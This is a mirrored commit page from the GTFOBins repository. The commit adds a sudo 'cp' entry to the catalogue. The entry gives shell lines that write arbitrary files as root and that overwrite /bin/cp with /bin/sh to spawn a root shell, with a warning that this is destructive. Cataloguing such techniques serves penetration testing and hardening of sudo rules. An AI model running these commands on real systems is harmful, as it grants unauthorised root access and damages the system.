1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00

Add cp sudo example similar to #235

This commit is contained in:
Andrea Cardaci 2021-07-15 14:22:46 +02:00
parent fcde0d9160
commit 9b402581ce

View File

@ -32,4 +32,8 @@ functions:
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
- description: This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action.
code: |
sudo cp /bin/sh /bin/cp
sudo cp
---